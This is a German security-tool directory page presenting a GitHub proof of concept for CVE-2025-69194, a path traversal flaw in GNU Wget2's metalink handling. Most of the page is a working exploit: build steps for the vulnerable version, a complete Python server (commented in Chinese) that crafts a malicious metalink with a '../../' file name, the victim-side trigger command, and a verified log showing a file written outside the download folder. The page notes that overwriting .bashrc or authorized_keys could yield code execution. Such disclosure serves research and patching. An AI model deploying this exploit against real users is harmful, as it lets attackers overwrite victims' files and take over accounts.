Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
POC_CVE-2025-69194 — PoC für CVE-2025-69194, eine Path-Traversal-Schwachstelle in GNU Wget2 <= 2.2.0. Diese Schwachstelle ermöglicht es Angreifern, beliebige Dateien auf dem Dateisystem des Opfers zu schreiben oder zu überschreiben, indem sie eine bösartige Metalink-Datei mit manipulierten Dateinamen-Attributen bereitstellen. | Kitploit
Tools/GitHubGitHub/secdongle/poc_cve-2025-69194
Payload-GenerierungSchwachstellenanalyseExploitationWebsicherheitPenetrationstestsLernen & Bildung
GitHubsecdongle/poc_cve-2025-69194

POC_CVE-2025-69194

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
113vor 8 MonatenNoch nicht geprüft

Über

PoC für CVE-2025-69194, eine Path-Traversal-Schwachstelle in GNU Wget2 <= 2.2.0. Diese Schwachstelle ermöglicht es Angreifern, beliebige Dateien auf dem Dateisystem des Opfers zu schreiben oder zu überschreiben, indem sie eine bösartige Metalink-Datei mit manipulierten Dateinamen-Attributen bereitstellen.

Teilen

CVE-2025-69194: GNU Wget2 Path Traversal-Schwachstelle

📝 Beschreibung

Proof of Concept für CVE-2025-69194, eine kritische Path Traversal-Schwachstelle in GNU Wget2 <= 2.2.0 (verifiziert auf v1.99.1). Diese Schwachstelle erlaubt es Angreifern, durch die Bereitstellung einer bösartigen Metalink-Datei mit manipulierten file name-Attributen beliebige Dateien auf dem Dateisystem des Opfers zu schreiben oder zu überschreiben.

Wenn Wget2 eine Metalink-Datei mit der Option --force-metalink verarbeitet, werden Verzeichnisüberschreitungssequenzen (z. B. ../../) nicht ordnungsgemäß bereinigt. Dies kann zu Remote Code Execution (RCE) führen, wenn ein Angreifer sensible Systemdateien (wie .bashrc, .ssh/authorized_keys) oder Systembinärdateien überschreibt.


🛠️ Testumgebung (Ubuntu 22.04)

Um die Schwachstelle genau reproduzieren zu können, kompilieren wir Wget2 v1.99.1 aus dem Quellcode, um sicherzustellen, dass das anfällige Metalink-Modul aktiv und ungepatcht ist.

1. Abhängigkeiten installieren

root@kitploit:~
sudo apt update && sudo apt install -y build-essential libgnutls28-dev libxml2-dev \
                     libzstd-dev liblzma-dev libpcre2-dev libidn2-dev libpsl-dev \
                     libbrotli-dev autoconf automake libtool gettext pkg-config python3

2. Wget2 v1.99.1 kompilieren und installieren

root@kitploit:~
wget https://ftp.gnu.org/gnu/wget/wget2-1.99.1.tar.gz
tar -xvf wget2-1.99.1.tar.gz && cd wget2-1.99.1
./configure --with-libxml2
make -j$(nproc)
sudo make install && sudo ldconfig

# Installation überprüfen (+metalink-Unterstützung erforderlich)
wget2 --version | grep -E "1.99.1|metalink"


🚀 Proof of Concept (PoC)

1. Angreiferseite (Python-Exploit-Server)

Der Angreifer hostet eine bösartige .metalink-Datei und die dazugehörige Payload. Speichern Sie Folgendes als poc.py:

root@kitploit:~
import os
import hashlib
import http.server
import socketserver
import threading
import time

# --- 配置区 ---
TARGET_FILE_NAME = "../../pwned_test.txt"  # 想要穿越到的目标路径
PAYLOAD_CONTENT = "pwned by CVE-2025-69194\n"
PORT = 8000
METALINK_FILE = "exploit.metalink"
PAYLOAD_FILE = "evil.dat"


def create_files():
    # 1. 创建载荷文件
    with open(PAYLOAD_FILE, "w") as f:
        f.write(PAYLOAD_CONTENT)

    # 计算 SHA256
    sha256_hash = hashlib.sha256(PAYLOAD_CONTENT.encode()).hexdigest()
    file_size = len(PAYLOAD_CONTENT)

    # 2. 构造恶意的 Metalink 结构
    metalink_content = f'''<?xml version="1.0" encoding="UTF-8"?>
<metalink xmlns="http://www.metalinker.org/">
  <files>
    <file name="{TARGET_FILE_NAME}">
      <size>{file_size}</size>
      <verification>
        <hash type="sha256">{sha256_hash}</hash>
      </verification>
      <resources>
        <url type="http">http://127.0.0.1:{PORT}/{PAYLOAD_FILE}</url>
      </resources>
    </file>
  </files>
</metalink>
'''
    with open(METALINK_FILE, "w") as f:
        f.write(metalink_content)
    print(f"[+] 恶意文件 {METALINK_FILE} 已生成。")


def start_server():
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", PORT), handler) as httpd:
        print(f"[*] 恶意服务器已在端口 {PORT} 启动...")
        httpd.serve_forever()


if __name__ == "__main__":
    # 清理旧文件
    if os.path.exists(TARGET_FILE_NAME):
        os.remove(TARGET_FILE_NAME)

    create_files()

    # 启动后台服务器
    server_thread = threading.Thread(target=start_server, daemon=True)
    server_thread.start()

    time.sleep(1)  # 等待服务器就绪

    print("\n[!] 现在请在另一个终端执行以下命令进行复现:")
    print(f"wget2 --force-metalink -i {METALINK_FILE}")
    print(f"\n[!] 执行后,检查目标文件是否存在:")
    print(f"ls {TARGET_FILE_NAME} && cat {TARGET_FILE_NAME}")

    # 保持主线程运行
    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        print("\n[+] 演示结束,正在清理...")


2. Opferseite (Auslösen des Exploits)

Führen Sie den folgenden Befehl in einem Unterverzeichnis (z. B. ~/Downloads/CVE-2025-69194/) aus, um die Verzeichnisüberschreitung zu beobachten:

root@kitploit:~
# Vorab-Prüfung: Überprüfen, ob die Datei im übergeordneten Verzeichnis nicht existiert
ls ../../pwned_test.txt

# Exploit ausführen
wget2 --force-metalink -i exploit.metalink


📊 Technische Analyse

Die Schwachstelle existiert in der Metalink-Parsing-Logik, bei der das name-Attribut ohne Normalisierung als vertrauenswürdig eingestuft wird.

PhaseBeschreibung
EingabeWget2 liest <file name="../../pwned_test.txt">.
UmgehungEs wird nicht überprüft, ob der Pfad ../ enthält oder versucht, das aktuelle Arbeitsverzeichnis zu verlassen.
SchreibenWget2 öffnet den aufgelösten Pfad CWD + ../../pwned_test.txt und schreibt die verifizierte Payload.

📝 Beispielausgabe (Verifiziert)

Wie in der erfolgreichen Reproduktion gezeigt, wurde die Datei pwned_test.txt zwei Ebenen über dem Ausführungsordner erstellt:

root@kitploit:~
lele@u22:~/Downloads/CVE-2025-69194$ ls ../../pwned_test.txt
ls: cannot access '../../pwned_test.txt': No such file or directory

lele@u22:~/Downloads/CVE-2025-69194$ wget2 --force-metalink -i exploit.metalink
downloading part 1/1 (0-23) ../../pwned_test.txt from 127.0.0.1
HTTP response 200 OK [http://127.0.0.1:8000/evil.dat]
part 1 downloaded
../../pwned_test.txt checking...
Checksum OK for '../../pwned_test.txt'

lele@u22:~/Downloads/CVE-2025-69194$ ls ../../pwned_test.txt && cat ../../pwned_test.txt
../../pwned_test.txt
pwned by CVE-2025-69194


version poc test

⚠️ Haftungsausschluss

Dieses Tool wird ausschließlich für zu Bildungszwecken und autorisierte Sicherheitstests bereitgestellt. Der Autor übernimmt keine Haftung für Schäden, die durch Missbrauch dieser Informationen entstehen. Unbefugter Zugriff auf Computersysteme ist strengstens untersagt.

Tool herunterladen